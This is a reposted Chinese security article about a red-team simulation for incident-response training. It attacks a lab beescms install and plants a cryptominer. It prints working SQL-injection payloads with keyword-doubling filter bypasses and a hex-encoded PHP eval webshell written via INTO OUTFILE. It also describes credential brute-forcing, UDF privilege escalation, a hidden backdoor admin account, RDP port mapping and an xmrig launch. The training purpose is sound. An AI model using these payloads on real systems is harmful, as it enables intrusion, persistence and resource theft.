本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
欢迎各位添加微信号:asj-jacky
加入安世加 交流群 和大佬们一起交流安全技术
本文为整个专题的第二篇,攻击模拟的第一篇,主要模拟业务系统使用存在已知漏洞的CMS,导致被攻击,进而植入挖矿脚本的过程。
该部分主要由内部蓝军完成,攻击链路设计是 @exploitworld 负责,攻击模拟和报告编写由 @可达鸭 和 @番茄 负责,感谢为本篇文章提供素材。
![技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟 技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟]()
攻击模拟说明
攻击模拟并非实战渗透,但又贴近于实战。真实的产生了攻击痕迹(日志),但为了让应急人员聚焦这部分日志,减少了其他操作。与真实情况相比,主要有两点区别:
![技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟 技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟]()
攻击链设计
攻击链取材于实际的业务场景:互联网侧开放了带有漏洞的服务,从而导致被攻击者发现利用,最终沦为矿机。攻击者的攻击手法较为常见,利用已知CMS的漏洞进行攻击,攻击模拟过程中的每一步都尽量完整操作,以便于留下攻击痕迹。
2.1 难度级别
2.2 攻击链路
2.3 攻击描述
通过常见的信息收集方法(端口扫描、目录扫描、cms指纹识别等),获取目标对外开放的服务和使用的CMS;然后利用已知漏洞进行攻击,获取webshell;接着对内网进行信息收集,利用udf进行权限提升;最后植入挖矿脚本,并创建后门账号、反弹端口进行远控。
资源准备
靶场搭建
主要的漏洞环境为beescms,存在后台页面登录处的SQLi、登录处可爆破、登录后可任意文件上传等漏洞。详细环境如下:
|
|
|
|
|
|
|
|
|
源码地址:http://beescms.com/cxxz.html
|
实施攻击
靶标初始环境需干净、开启各项日志记录。攻击时需要记录每个动作的时间,以便后续与应急响应报告做比对。
5.1 端口扫描
15:48–15:50,端口扫描,发现:发现存在http、mysql等服务;
5.2 网站后台扫描
15:50,进行网站后台扫描,发现:一些可利用的页面;
5.3 网站getshell
5.3.1 SQLi 写入一句话木马
根据报错回显,判断user参数处存在基于报错的SQL漏洞。
判断当前数据库字段数,为后续进行手工注入做准备:admin’order by 5,数据库操作正常
继续尝试payload:admin’order by 6,数据库报错,说明字段是为5(最开始用二分法进行尝试,逐步定位正确的字段数)
16:37,构造payload获取数据库名emergency:user=admin' a and nd
updatexml(1,concat(0x7e,(selselectect database()),0x7e),1)#
注:a and nd为多次测试发现,系统对sql语句有过滤,但是可以通过复写+空格绕过 - - 网上已知
outfile => outoutfilefile
|
![技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟 技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟]()
继续查看当前数据库权限为root,可以直接一句话文件至web目录。
17:40,写入php一句话木马文件cmd.php(beescms使用htmlspecialchars()对输入中含有特殊符号进行HTML实体转义,导致php一句话<?php @eval($_POST[cmd]);?>不能写入。
利用mysql注入的特性对shell部分进行hex编码或使用MySQL函数char()进行绕过)
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile 'cmd.php'#
|
5.3.2 爆破账密登录后台上传文件getshell
16:15,开始进行后台用户名/密码,进行暴力破解(图片验证码存在缺陷,可以直接爆破),成功爆破出管理员账密admin/emergency
16:33,在后台找到1处文件上传功能,尝试直接上传php一句话木马文件,成功上传/upload/img/202108041633293835.php
16:35,访问shell:202108041633293835.php
16:37,通过202108041633293835.php执行系统命令whoami
5.4 系统权限提升
使用webshell翻网站文件中的敏感信息,找到MySQL数据库的账密和配置文件。
发现secure_file_prive为空,可以进行udf提权
当前webshell功能较为单一,重新上传一个功能丰富的大马
18:33,创建sys_eval并执行whoami
5.5 添加后门用户
18:42,将账户adminadmin$加入本地管理员组
5.6 端口映射
19:07,上传F111.exe文件到C:emergencyphpstudytoolspear
19:10–19:11,将目标53端口映射到3389端口:F111.exe -l 53 -s 53 -r 3389 10.xx.xx.xx
5.7 运行挖矿文件
18:45,通过webshell上传挖矿程序xmrig.exe等四个文件
18:48,运行挖矿程序,系统CPU使用率开始飙升。
环境备份
攻击完成之后,不再做其他的操作,立马对环境创建快照,以免过多操作给应急人员带来太多干扰。然后按照约定的方式和时间,把快照同步给各组的应急人员进行分析。
原文始发于微信公众号(安世加):技术干货 | 【应急能力提升2】挖矿权限维持攻击模拟
评论